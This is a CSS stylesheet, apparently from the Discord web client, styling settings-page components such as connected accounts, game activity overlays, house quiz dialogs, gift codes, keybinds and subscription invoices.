.integration-3kMeY4 { border-radius: 8px; background: var(--background-secondary-alt); padding: 16px 10px; display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.integration-3kMeY4 .guildIcon-YCs9He { margin: 0px 10px 0px 0px; float: left; }

.integrationInner-3SUFBs { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.integrationInner-3SUFBs .channelLink-2TxEu3 { color: var(--header-secondary); font-size: 12px; }

.integrationInner-3SUFBs .integrationName-2tSCoY { color: var(--header-primary); }

.warning-1XxEC9 { color: var(--text-warning); }

.connectedAccounts-2-XP1G { display: flex; flex-wrap: wrap; }

.connectionDelete-2Odoln { cursor: pointer; color: var(--interactive-normal); align-self: center; }

.connectionDelete-2Odoln:hover { color: var(--interactive-hover); }

.connectedAccountSeparator-2EgLhW { margin-left: 20px; margin-right: 20px; width: auto; }

.subEnabledTitle-2ElRo_ { color: var(--text-normal); }

.item-3q5jTx { position: relative; }

.removeBuildOverride-1P8xc1 { opacity: 0; position: absolute; top: -12px; right: -31px; }

.buildOverrideGroup-2x3Fda { position: relative; padding-top: 20px; padding-bottom: 20px; margin-top: -1px; }

.buildOverrideGroup-2x3Fda:hover .removeBuildOverride-1P8xc1 { opacity: 1; }

.theme-dark .codebox-1FquOa, .theme-light .codebox-1FquOa { height: 230px; max-height: 230px; background: none; }

.removeBuildOverrideDisabled-3-pn2T { opacity: 0.75; filter: grayscale(100%); cursor: not-allowed; }

.theme-light .row-2o2DzQ { box-shadow: rgba(185, 187, 190, 0.3) 0px -1px 0px inset; }

.theme-dark .row-2o2DzQ { box-shadow: rgba(114, 118, 125, 0.3) 0px -1px 0px inset; }

.buttonsContainer-N7CLlJ { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; gap: 8px; }

.notDetected-33MY4s, .nowPlaying-284llR { width: 100%; padding: 16px; animation: 0s ease 0s 1 normal none running none; margin-top: 0px; border-radius: 3px; }

.notDetected-33MY4s .overlayStatusText-L2IACa, .notDetected-33MY4s .overlayWarningIcon-3fZsZE, .nowPlaying-284llR .overlayStatusText-L2IACa, .nowPlaying-284llR .overlayWarningIcon-3fZsZE { opacity: 1; }

.nowPlayingAdd-1Kdmh_ { align-self: flex-start; margin-left: 0px; font-size: 14px; }

.game-1ipmAa { position: relative; padding: 20px 0px; }

.game-1ipmAa .removeGame-2JFGPn { position: absolute; top: -12px; right: -31px; opacity: 0; }

.game-1ipmAa:focus-within .overlayStatusText-L2IACa, .game-1ipmAa:focus-within .overlayWarningIcon-3fZsZE, .game-1ipmAa:focus-within .removeGame-2JFGPn, .game-1ipmAa:hover .overlayStatusText-L2IACa, .game-1ipmAa:hover .overlayWarningIcon-3fZsZE, .game-1ipmAa:hover .removeGame-2JFGPn { opacity: 1; }

.activeGame-14JI7o { position: relative; }

.activeGame-14JI7o .removeGame-2JFGPn { position: absolute; top: -12px; right: -12px; opacity: 0; }

.activeGame-14JI7o:focus-within .removeGame-2JFGPn, .activeGame-14JI7o:hover .removeGame-2JFGPn { opacity: 1; }

.gameName-1RiWHm, .gameNameInput-385LoS, .gameVerifiedIcon-2dGGa5, .lastPlayed-3bQ7Bo, .overlayStatusText-L2IACa, .overlayToggleIcon-2liB3r { z-index: 1; }

.gameNameLastPlayed-3LJo8n { -webkit-box-flex: 1; flex: 1 1 0%; }

.gameVerifiedIcon-2dGGa5 { margin-left: 8px; }

.gameName-1RiWHm { font-size: 16px; font-weight: 600; line-height: 22px; }

.gameNameInput-385LoS { border: 1px solid transparent; border-radius: 3px; background-color: transparent; padding: 0px 4px; margin-left: -5px; width: 240px; }

.lastPlayed-3bQ7Bo { color: rgb(114, 118, 125); font-size: 14px; }

.overlayStatusText-L2IACa { width: 100px; margin-right: 4px; text-transform: uppercase; font-size: 14px; opacity: 0; }

.overlayToggleIcon-2liB3r { cursor: pointer; }

.overlayToggleIconOff-1kT42w .fill-1ugeBG { fill: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.overlayWarningIcon-3fZsZE { background: url("https://discord.com/assets/ec9826d3496e1fa6b695692bc7faba1d.svg") no-repeat; width: 16px; height: 16px; margin-right: 20px; opacity: 0; }

.addGamePopout-2RY8Ju { padding: 10px; width: 300px; border-radius: 3px; }

.addGamePopout-2RY8Ju .actions-3wcPyD { -webkit-box-pack: end; justify-content: flex-end; }

.detectedApplication-1qfUIv { display: flex; -webkit-box-align: center; align-items: center; }

.theme-light .nowPlayingAdd-1Kdmh_ { color: rgb(185, 187, 190); }

.theme-light .game-1ipmAa { box-shadow: rgb(220, 221, 222) 0px 1px 0px 0px; }

.theme-light .gameName-1RiWHm { color: rgb(79, 84, 92); }

.theme-light .gameNameInput-385LoS:focus, .theme-light .gameNameInput-385LoS:hover { border-color: rgba(79, 84, 92, 0.3); background-color: rgb(255, 255, 255); }

.theme-light .lastPlayed-3bQ7Bo { color: rgb(114, 118, 125); }

.theme-light .overlayStatusText-L2IACa { color: rgb(185, 187, 190); }

.theme-light .overlayToggleIconOn-3UNmty .fill-1ugeBG { fill: rgb(185, 187, 190); }

.theme-light .addGamePopout-2RY8Ju { background-color: rgb(255, 255, 255); }

.theme-dark .nowPlayingAdd-1Kdmh_ { color: rgb(114, 118, 125); }

.theme-dark .game-1ipmAa { box-shadow: rgb(79, 84, 92) 0px 1px 0px 0px; }

.theme-dark .gameName-1RiWHm { color: rgb(246, 246, 247); }

.theme-dark .gameNameInput-385LoS:focus, .theme-dark .gameNameInput-385LoS:hover { border-color: rgba(79, 84, 92, 0.3); background-color: rgb(54, 57, 63); }

.theme-dark .lastPlayed-3bQ7Bo, .theme-dark .overlayStatusText-L2IACa { color: rgb(114, 118, 125); }

.theme-dark .overlayToggleIconOn-3UNmty .fill-1ugeBG { fill: rgb(114, 118, 125); }

.theme-dark .addGamePopout-2RY8Ju { background-color: rgb(54, 57, 63); }

.theme-dark .addGamePopout-2RY8Ju .cancelButton-10XRsm { color: rgb(255, 255, 255); }

.theme-dark .nowPlayingAdd-1Kdmh_, .theme-light .nowPlayingAdd-1Kdmh_ { color: rgb(185, 187, 190); }

.theme-dark .nowPlaying-284llR, .theme-light .nowPlaying-284llR { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .nowPlaying-284llR .gameName-1RiWHm, .theme-light .nowPlaying-284llR .gameName-1RiWHm { color: hsl(139,calc(var(--saturation-factor, 1)*83.8%),92.7%); }

.theme-dark .nowPlaying-284llR .gameNameInput-385LoS:focus, .theme-dark .nowPlaying-284llR .gameNameInput-385LoS:hover, .theme-light .nowPlaying-284llR .gameNameInput-385LoS:focus, .theme-light .nowPlaying-284llR .gameNameInput-385LoS:hover { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.5%),19.4%); background-color: hsla(139,calc(var(--saturation-factor, 1)*47.5%),19.4%,0.3); }

.theme-dark .nowPlaying-284llR .lastPlayed-3bQ7Bo, .theme-dark .nowPlaying-284llR .overlayStatusText-L2IACa, .theme-light .nowPlaying-284llR .lastPlayed-3bQ7Bo, .theme-light .nowPlaying-284llR .overlayStatusText-L2IACa { color: rgb(255, 255, 255); }

.theme-dark .nowPlaying-284llR .overlayToggleIconOff-1kT42w .fill-1ugeBG, .theme-dark .nowPlaying-284llR .overlayToggleIconOn-3UNmty .fill-1ugeBG, .theme-light .nowPlaying-284llR .overlayToggleIconOff-1kT42w .fill-1ugeBG, .theme-light .nowPlaying-284llR .overlayToggleIconOn-3UNmty .fill-1ugeBG { fill: hsl(138,calc(var(--saturation-factor, 1)*86.1%),71.8%); }

.theme-dark .notDetected-33MY4s, .theme-light .notDetected-33MY4s { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.theme-dark .notDetected-33MY4s .gameName-1RiWHm, .theme-light .notDetected-33MY4s .gameName-1RiWHm { color: hsl(180,calc(var(--saturation-factor, 1)*7.7%),97.5%); }

.theme-dark .notDetected-33MY4s .lastPlayed-3bQ7Bo, .theme-light .notDetected-33MY4s .lastPlayed-3bQ7Bo { color: hsl(210,calc(var(--saturation-factor, 1)*9.8%),80%); }

.feature-BGH8y4 { padding-top: 20px; }

.featureBorder-7j4v58 { border-top: 1px solid var(--background-modifier-accent); }

.title-PMZpEi { font-size: 20px; color: var(--header-primary); }

.description-1W0DiL { font-size: 16px; line-height: 20px; color: var(--text-normal); }

.icon-3j1dJB { width: 120px; height: 80px; background-size: 100% 100%; background-repeat: no-repeat; margin-right: 20px; flex-shrink: 0; }

.videoWrapper-3YdgHH { background-color: var(--background-primary); border-radius: 5px; overflow: hidden; }

.video-2aTfcg { display: block; width: 100%; height: 100%; }

.features-2npk2D { margin-bottom: 20px; }

.video-34IsHk { margin: 0px auto 40px; }

.perksHeading-3oxU3I { text-align: center; text-transform: uppercase; color: var(--text-normal); }

.perkIcon-2bvvgO { background-position: 50% center; background-size: contain; }

.perkNewsletter-2lxlA1 { background-image: url("https://discord.com/assets/c970061def69b8226617841ca3089219.svg"); }

.perkBadge-2la1kc { background-image: url("https://discord.com/assets/46b24114f7276738329be3ae84e22da4.svg"); }

.perkChallenges-19qHzw { background-image: url("https://discord.com/assets/b13ade832d7f19e30c5d2452b6cbdd53.svg"); }

.wrapper-2K37PN { width: 100%; }

.contentWrapper-1VyP0K { padding-bottom: 20px; }

.prompt-kcCNXs { }

.selectYourAnswer-2lDJj_ { }

.separator-PE-_y1 { border: 0px; background-color: hsl(215,calc(var(--saturation-factor, 1)*9.7%),34.3%); height: 1px; margin: 0px; }

.theme-light .prompt-kcCNXs { color: rgb(4, 4, 5); }

.theme-light .selectYourAnswer-2lDJj_ { color: hsl(213,calc(var(--saturation-factor, 1)*9.9%),60.4%); }

.theme-light .separator-PE-_y1 { background-color: hsl(216,calc(var(--saturation-factor, 1)*9.8%),90%); }

.theme-dark .prompt-kcCNXs { color: rgb(255, 255, 255); }

.theme-dark .selectYourAnswer-2lDJj_ { color: hsl(213,calc(var(--saturation-factor, 1)*9.9%),60.4%); }

.theme-dark .separator-PE-_y1 { background-color: hsl(215,calc(var(--saturation-factor, 1)*9.7%),34.3%); }

.outerContentWrapper-2YH49P { overflow: hidden; position: relative; }

.innerContentWrapper-1OlqRR, .outerContentWrapper-2YH49P { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; }

.quizResultHeading-2_7tfJ { margin-bottom: 24px; text-align: center; color: var(--text-normal); }

.inputFirstName-1ssgZ2, .nameFormPreface-H-3UVQ { margin-bottom: 20px; }

.quizResultBody-2x52di { line-height: 18px; }

.quizResultLogoWrapper-1A5Eb1 { border-radius: 100%; margin-left: auto; margin-right: auto; position: relative; width: 160px; height: 160px; }

.quizResultLogo-QNVISZ { position: absolute; top: 50%; left: 50%; width: 115px; height: 115px; transform: translate(-50%, -50%); }

.quizResultLogoWrapperHouse1-3FV1ry { background-color: hsl(253,calc(var(--saturation-factor, 1)*77%),72.7%); }

.quizResultLogoWrapperHouse1-3FV1ry .quizResultLogo-QNVISZ { transform: translate(-50%, -45%); }

.quizResultLogoWrapperHouse2-3yrRO9 { background-color: hsl(9,calc(var(--saturation-factor, 1)*86.5%),68%); }

.quizResultLogoWrapperHouse3-2oQS9n { background-color: hsl(169,calc(var(--saturation-factor, 1)*69.1%),56.9%); }

.membershipDialog-rVL-t_ { border-radius: 3px; margin-bottom: 30px; overflow: hidden; padding: 30px; position: relative; }

.membershipDialog-rVL-t_::after { position: absolute; top: 0px; left: 0px; background-image: url("https://discord.com/assets/f334f65e4bd0c524ed8d2df198a2a7a8.svg"); background-position: center bottom; background-repeat: no-repeat; background-size: cover; content: ""; opacity: 0.15; width: 100%; height: 100%; z-index: 0; }

.membershipDialogContent-3zv-XB { position: relative; z-index: 1; }

.membershipDialogHeading-3y8iIr { margin-bottom: 16px; text-transform: uppercase; }

.membershipDialogHouseName-ezTTJ9 { font-size: 24px; margin-bottom: 8px; }

.membershipDialogHouseDescription-1GaVtg { margin-bottom: 20px; }

.membershipDialogSwitchHouses-1K8L1U { border-top: 1px solid rgba(255, 255, 255, 0.1); padding-top: 26px; text-align: center; }

.membershipDialogSwitchHousesAction-2a3eDg { color: rgba(255, 255, 255, 0.7); cursor: pointer; display: inline-block; margin-left: 4px; transition: color 0.1s ease 0s; }

.membershipDialogHeading-3y8iIr, .membershipDialogHouseDescription-1GaVtg, .membershipDialogHouseName-ezTTJ9, .membershipDialogSwitchHouses-1K8L1U, .membershipDialogSwitchHousesAction-2a3eDg:hover { color: rgb(255, 255, 255); }

.joinCTAWrapper-2BaVvb { margin-bottom: 40px; }

.joinCTA-FN-DEn { margin-bottom: 20px; }

.newsletterWarning-UKgyLB { font-size: 14px; line-height: 18px; opacity: 0.7; text-align: center; }

.membershipDialogHouse1-3KhKE- { background-color: hsl(253,calc(var(--saturation-factor, 1)*77%),72.7%); }

.membershipDialogHouse2-35h9SY { background-color: hsl(9,calc(var(--saturation-factor, 1)*86.5%),68%); }

.membershipDialogHouse3-15OBIQ { background-color: hsl(169,calc(var(--saturation-factor, 1)*69.1%),56.9%); }

.houseLogoWrapper-3XZ6yo { background: rgb(255, 255, 255); border-radius: 100%; position: relative; width: 100px; height: 100px; }

.houseLogo-2MU96l { position: absolute; top: 50%; left: 50%; width: 70px; height: 70px; transform: translate(-50%, -50%); }

.houseLogoHouse1-2LEurl { transform: translate(-50%, -45%); }

.leaveActionWrapper-34XGz6 { border-top: 1px solid var(--background-modifier-accent); margin-bottom: 40px; padding-top: 40px; text-align: center; }

.leaveButton-2ml9zB { cursor: pointer; display: inline-block; margin-left: 4px; padding: 0px; position: relative; }

.error-2netMa { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); margin-bottom: 20px; }

.wrapper-2lwZNm { padding: 20px; text-align: center; }

.image-3bKszV { background: none 50% center / contain no-repeat; width: 120px; height: 107px; }

.content-M_iuTu { }

.theme-dark .image-3bKszV { background-image: url("https://discord.com/assets/ad21e9327e71ab990fd1d7fb8cea66fc.svg"); }

.theme-light .image-3bKszV { background-image: url("https://discord.com/assets/849927c9fad5972b8c02891fa64850f3.svg"); }

.intro-325xRx { margin-bottom: 40px; text-align: center; }

.introHeader-4MPach { font-weight: 700; margin-bottom: 8px; }

.verificationNotice-3n1EX6 { margin-bottom: 40px; }

.attendeeCTA-3ZZQWt { color: var(--text-normal); font-size: 14px; line-height: 18px; margin-top: 40px; padding: 16px 22px; }

.attendeeCTA-3ZZQWt a { font-weight: inherit; }

.codeRedemptionInput-3JOJea { -webkit-box-flex: 1; flex-grow: 1; margin-right: 20px; }

.confirmBackgroundImage-2lmx3s { position: absolute; inset: 0px; background-size: cover; background-position: center bottom; filter: grayscale(100%); -webkit-mask: radial-gradient(circle at 50% 0px, rgb(0, 0, 0), transparent); }

.confirmEntitlementBackground-2xwrrr { opacity: 0.1; }

.confirmPremiumBackground-Y8tSCm { background-image: url("https://discord.com/assets/c2ed47028ad0b4603546768842e248f7.svg"); background-size: cover; opacity: 0.2; }

.confirmPremiumIcon-26GX5Y { background-image: url("https://discord.com/assets/b820b6002cb6ff7c3c2fb123d72c7866.svg"); background-size: cover; border-radius: 5px; margin-bottom: 20px; width: 80px; height: 80px; }

.confirmCloseButton-1LOHfq { align-self: flex-end; margin-right: 10px; margin-bottom: 10px; }

.confirmContent-GnT1qw { padding: 20px 0px 50px; }

.confirmTitle-1K9S8K { font-size: 24px; line-height: 1.25; }

.confirmButton-1VXU_S, .confirmTitle-1K9S8K { margin-top: 20px; }

.confirmBlurb-2LiLkM { margin-top: 10px; font-size: 16px; line-height: 1.44; text-align: center; max-width: 360px; }

.errorMessage-OES6zG { margin-top: 4px; -webkit-box-flex: 1; flex: 1 1 0%; color: rgb(185, 187, 190); }

.theme-dark .confirmTitle-1K9S8K { color: rgb(255, 255, 255); }

.theme-dark .confirmBlurb-2LiLkM { color: rgb(185, 187, 190); }

.theme-light .confirmTitle-1K9S8K { color: rgb(54, 57, 63); }

.theme-light .confirmBlurb-2LiLkM { color: rgb(114, 118, 125); }

.loading-RBMycv { margin-top: 48px; }

.maybeLaterButton-2GCoPp { color: var(--header-primary); margin-right: 8px; }

.maybeLaterButton-2GCoPp:hover { text-decoration: underline; }

.bodyText-9sDIid { display: flex; -webkit-box-pack: center; justify-content: center; }

.formDivider-2YpN2v { margin: 16px 0px; }

.formSection-18ae0i { margin-bottom: 16px; }

.confirmationText-zJQc0M { margin-top: 8px; }

.textInput-3M0tLo { color: red; }

.headerContainer-2oa3uf { padding: 0px 0px 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: -60px; }

.art-UTc0S4 { height: 120px; width: 240px; background-image: url("https://discord.com/assets/5ac6560624e22a61fff2594ffbaa354d.svg"); }

.art-UTc0S4, .errorArt-nd3oB9 { margin-bottom: 16px; }

.errorArt-nd3oB9 { height: 99px; width: 141px; background-image: url("https://discord.com/assets/313e343112d519165f840fbeb5e709b1.svg"); }

.errorHeader-1WNSiu { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.errorBody-3ofSBw { padding-bottom: 32px; }

.card-7JP0BX { border-radius: 5px; overflow: hidden; cursor: default; box-sizing: border-box; transform: translateZ(0px); }

.header-1RC2Wb { position: relative; padding: 20px; }

.headerButtonColor-G7_f-V { background: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.coverArtPosition-1EkmxA { position: absolute; top: 0px; left: 0px; bottom: 0px; background-position: 50% 40%; background-repeat: no-repeat; background-size: cover; pointer-events: none; border-radius: 5px; overflow: hidden; transform: translateZ(0px); }

.splashArt-3yFzRe { width: 300px; filter: grayscale(100%); opacity: 0.3; -webkit-mask: radial-gradient(100% 100% at left top, rgba(255, 255, 255, 0.6) 0px, rgba(255, 255, 255, 0) 100%); }

.body-SKIE6r { background-color: var(--background-secondary); }

.header-1RC2Wb { background-color: var(--background-tertiary); color: var(--header-primary); }

.header-1RC2Wb:hover { background-color: var(--background-modifier-hover); }

.theme-dark .card-7JP0BX { color: rgb(246, 246, 247); }

.theme-light .card-7JP0BX { color: rgb(54, 57, 63); }

.card-3S2buc { cursor: pointer; }

.subText-2dcuEX { font-size: 12px; line-height: 16px; }

.subTextHeader-1m8dpJ, .subTextRow-2vP_Z7 { }

.subTextHeader-1m8dpJ { font-weight: 600; }

.codeText-yBpp9D { margin-bottom: 8px; }

.headerText-1hVFSC { margin-left: 20px; }

.cardHeader-oG4l4I { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.giftCodeRow-24nTuI { padding: 20px 0px 19px; margin: 0px 20px; border-bottom: 1px solid transparent; }

.giftCodeRow-24nTuI:last-child { border-bottom: none; }

.generateCodeRow-U1iNgl { padding: 22px 0px; }

.gameName-2LhX55 { line-height: 19px; }

.expandIcon-3v5EV8 { margin-left: 8px; cursor: pointer; }

.spinner-3abdbi { padding: 20px; }

.theme-dark .subTextHeader-1m8dpJ { color: rgb(114, 118, 125); }

.theme-dark .subTextRow-2vP_Z7 { color: rgb(185, 187, 190); }

.theme-dark .giftCodeRow-24nTuI { border-color: rgba(79, 84, 92, 0.6); }

.theme-dark .bodyButtonColor-ptbdFu { background: rgb(54, 57, 63); color: rgb(255, 255, 255); }

.theme-dark .bodyButtonColor-ptbdFu:hover { background: rgb(79, 84, 92); }

.theme-dark .bodyButtonColor-ptbdFu:active { background: rgb(114, 118, 125); }

.theme-light .subTextHeader-1m8dpJ { color: rgb(114, 118, 125); }

.theme-light .subTextRow-2vP_Z7 { color: rgb(185, 187, 190); }

.theme-light .bodyButtonColor-ptbdFu { background: rgb(246, 246, 247); }

.theme-light .bodyButtonColor-ptbdFu:hover { background: rgb(220, 221, 222); }

.theme-light .bodyButtonColor-ptbdFu:active { background: rgb(185, 187, 190); }

.skuCard-i0Kf67 { margin-bottom: 20px; }

.emptyState-1C8By3 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.emptyStateHeader-248f_b { margin-top: 20px; font-size: 24px; line-height: 1.17; }

.emptyStateSubtext-2hdA9c { margin-top: 8px; line-height: 1.25; }

.emptyStateImage-2MrSNs { margin-top: 120px; width: 404px; height: 202px; }

.loading-3DDmD5 { margin-top: 40px; }

.promotionCardDescriptionWithCode-3YtJQp { user-select: text; cursor: text; }

.promotionCard-2IP574 { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; padding: 20px; border-radius: 4px; background-color: var(--background-tertiary); }

.mainPromotionCardContainer-3N9-1a, .promotionCard-2IP574 { display: flex; }

.mainPromotionCardContainer-3N9-1a { width: 100%; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.promotionCardLeftContainer-2wXBFs, .promotionIcon-3FDeSa { display: flex; }

.promotionIcon-3FDeSa { width: 40px; height: 40px; margin-right: 10px; flex-shrink: 0; border-radius: 4px; align-self: flex-start; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.promotionIconImage-ZC2m_f { max-width: 36px; max-height: 36px; }

.promotionLegalese-3EeK1U { border-top: 1px solid var(--background-modifier-accent); margin-top: 8px; padding-top: 8px; margin-left: 52px; font-size: 12px; line-height: 16px; margin-bottom: 0px; }

.promotionLegalese-3EeK1U em { font-style: italic; }

.promotionText-1zV1RS { font-weight: 500; }

.theme-dark .emptyStateHeader-248f_b { color: rgb(255, 255, 255); }

.theme-dark .emptyStateSubtext-2hdA9c { color: rgb(185, 187, 190); }

.theme-dark .emptyStateImage-2MrSNs { background: url("https://discord.com/assets/e0989b9d43cd9ca4417b49f4f8fbebc6.svg"); }

.theme-dark .promotionIcon-3FDeSa { background-color: rgb(0, 0, 0); }

.theme-light .emptyStateHeader-248f_b { color: rgb(79, 84, 92); }

.theme-light .emptyStateSubtext-2hdA9c { color: rgb(114, 118, 125); }

.theme-light .emptyStateImage-2MrSNs { background: url("https://discord.com/assets/10883f4297b061ad31a056bcf2191699.svg"); }

.theme-light .promotionIcon-3FDeSa { background-color: rgb(255, 255, 255); }

.divider-1Jfi9s { margin: 32px 0px; }

.item-rJ_Cmt, .keybindMessage-20JT9A { position: relative; }

.item-rJ_Cmt a, .keybindMessage-20JT9A a { color: inherit; text-decoration: underline; }

.ghostPill-2-KUPM { color: hsl(240,calc(var(--saturation-factor, 1)*7.7%),2.5%); background-color: hsl(37,calc(var(--saturation-factor, 1)*95.7%),90.8%); border: 1px solid hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); display: inline-grid; -webkit-box-align: center; align-items: center; grid-template-columns: auto 1fr; padding: 10px; gap: 10px; font-size: 14px; border-radius: 4px; }

.removeKeybind-39dSFj { opacity: 0; position: absolute; top: -12px; right: -31px; }

.keybindGroup-JQs9x_ { position: relative; padding-top: 20px; padding-bottom: 20px; margin-top: -1px; }

.keybindGroup-JQs9x_:hover .removeKeybind-39dSFj { opacity: 1; }

.keyboard-mode .keybindGroup-JQs9x_:focus-within .removeKeybind-39dSFj { opacity: 1; }

.defaultKeybind-2coG8W { display: grid; grid-template-columns: 1fr auto; padding: 14px 0px; -webkit-box-align: center; align-items: center; font-weight: 500; height: 80px; box-sizing: border-box; }

.defaultKeybindGroup-X6nhBr { margin: 40px 0px 24px; }

.defaultKeybindShortcutGroup-gWLCis { display: grid; gap: 4px; }

.defaultKeybindGroupHeader-3fMhcS { text-transform: uppercase; margin-bottom: 24px; }

.defaultKeybindGroupWithDescription-3YceEh { margin-bottom: 4px; }

.defaultKeybindGroupDescription-1bMdWe { margin-bottom: 20px; }

.defaultKeybindShortcut-14Z6f4 { margin: 0px; }

.browserNotice-cefwll a { color: inherit; text-decoration: underline; }

.theme-light .row-2okwlC { box-shadow: rgba(185, 187, 190, 0.3) 0px -1px 0px inset; }

.theme-dark .row-2okwlC { box-shadow: rgba(114, 118, 125, 0.3) 0px -1px 0px inset; }

.option-2Mjq18 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.localeName-2oaRo4 { -webkit-box-flex: 1; flex: 1 1 auto; }

.localizedName-2dYMQh { font-size: 14px; line-height: 20px; font-weight: 400; }

.flag-Ve4YnP, .localizedName-2dYMQh { -webkit-box-flex: 0; flex: 0 0 auto; }

.flagImage-3Wbkq4 { display: block; margin-left: 8px; width: 27px; height: 18px; user-select: none; }

.marketingUnsubscribeButton-AVj4Xc { align-self: flex-start; padding: 0px; }

.notificationSound-3D6eyn { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; }

.soundName-23hgAT { margin-right: 8px; }

.soundIcon-2ketvd, .soundName-23hgAT { -webkit-box-flex: 0; flex: 0 0 auto; }

.soundIcon-2ketvd { opacity: 0; height: 24px; padding: 4px; margin-top: -1px; transition: opacity 0.1s linear 0s; }

.soundIcon-2ketvd:active { opacity: 1; }

.soundRow-7krrdT:focus-within .soundIcon-2ketvd, .soundRow-7krrdT:hover .soundIcon-2ketvd { opacity: 0.6; }

.icon-GiGwrE { width: 16px; height: 16px; }

.wrapper-3jrx9n { box-sizing: border-box; position: relative; background-color: rgba(0, 0, 0, 0.1); padding-bottom: 56.25%; border-radius: 8px; border: 2px solid var(--brand-experiment); }

.wrapper-3jrx9n.disabledSelected-2Kf0yZ { border: 2px solid hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.option-n0icdO { position: absolute; width: 24%; height: 24%; margin: 6px; border-radius: 3px; opacity: 0.6; background-color: rgb(114, 118, 125); cursor: pointer; overflow: hidden; text-indent: -999em; font-size: 0px; line-height: 0; }

.option-n0icdO:hover { background-color: var(--brand-experiment); box-shadow: rgba(0, 0, 0, 0.3) 0px 2px 0px; opacity: 0.8; }

.hiddenInput-AN-Xon { opacity: 0; position: absolute; top: 0px; cursor: pointer; }

.bottomLeft-39-xss, .bottomRight-1T56wW, .topLeft-3buHIc, .topRight-3GKDeL { }

.topRight-3GKDeL { top: 0px; right: 0px; }

.topLeft-3buHIc { top: 0px; left: 0px; }

.bottomRight-1T56wW { bottom: 0px; right: 0px; }

.bottomLeft-39-xss { bottom: 0px; left: 0px; }

.disabled-3I9jyo { position: absolute; top: 50%; left: 50%; width: 15%; height: auto; transform: translate(-50%, -50%); opacity: 0.6; cursor: pointer; color: rgb(114, 118, 125); overflow: hidden; text-indent: -999em; font-size: 0px; line-height: 0; }

.disabled-3I9jyo:hover { opacity: 0.8; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.disabledIcon-9QatvX { display: block; width: 100%; height: 100%; }

.selected-mKYnfr.option-n0icdO { background-color: var(--brand-experiment); border-color: var(--brand-experiment); box-shadow: rgba(0, 0, 0, 0.3) 0px 2px 0px; opacity: 1; }

.selected-mKYnfr.disabled-3I9jyo { opacity: 1; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.notificationSettings-1NQKPR { max-width: 75%; }

.features-2Ieick { display: grid; gap: 20px; margin-top: 20px; }

.feature-24ARf4 { display: flex; }

.icon-3Jy44N { width: 24px; height: 24px; flex-shrink: 0; margin-right: 10px; }

.title-1Cp8HD { font-size: 12px; line-height: 16px; font-weight: 600; text-transform: uppercase; margin-bottom: 4px; color: var(--header-primary); }

.description-2ZTXXq { font-size: 14px; line-height: 18px; color: var(--header-secondary); }

.descriptionStandalone-3KwqBM { font-size: 16px; line-height: 20px; color: var(--header-primary); }

.gemIndicatorProgressCircle-3wDFa1 { width: 70px; height: 70px; color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.progressBackground-8KV71U { stroke: transparent; fill: transparent; }

.gemIndicatorContainer-2jdECl { border-radius: 50%; width: 64px; height: 64px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.gemWithLabel-2aecE_, .gemWithoutLabel-7-ZvB_ { width: 24px; height: 24px; }

.gemWithLabel-2aecE_ { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.tierLabel-39IsmN { font-weight: 700; font-size: 12px; line-height: 16px; text-align: center; margin-top: 2px; }

.theme-light .gemIndicatorContainer-2jdECl { background-color: rgb(255, 255, 255); }

.theme-light .gemWithoutLabel-7-ZvB_ { color: rgb(227, 229, 232); }

.theme-light .tierLabel-39IsmN { color: rgb(79, 84, 92); }

.theme-dark .gemIndicatorContainer-2jdECl { background-color: rgb(24, 25, 28); }

.theme-dark .gemWithoutLabel-7-ZvB_ { color: rgb(54, 57, 63); }

.theme-dark .tierLabel-39IsmN { color: rgb(255, 255, 255); }

.body-2iN0c_ { color: var(--text-normal); font-size: 16px; line-height: 20px; padding-bottom: 16px; }

.invoiceTable-3e8jHq { margin: 16px 0px; }

.cancelImage-16N1Qd { background-image: url("https://discord.com/assets/9d16f52a2e1916dad97427908397c4d7.svg"); width: 270px; height: 128px; margin: 0px auto 24px; }

html .invoiceCancelRow-2I_Mbu { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.body-c0xhxB { color: var(--text-normal); font-size: 16px; line-height: 20px; padding-bottom: 16px; }

.uncancelImage-YfJYAX { background-image: url("https://discord.com/assets/2b793215c12cf157af4164982db28323.svg"); width: 234px; height: 128px; margin: 0px auto 24px; }

.blurb-2XjF1y { margin-bottom: 40px; }

.guild-3RI3qs { border-radius: 4px; overflow: hidden; margin-bottom: 8px; }

.guild-3RI3qs:last-child { margin-bottom: 0px; }

.guildHeader-31U4xz { display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); position: relative; }

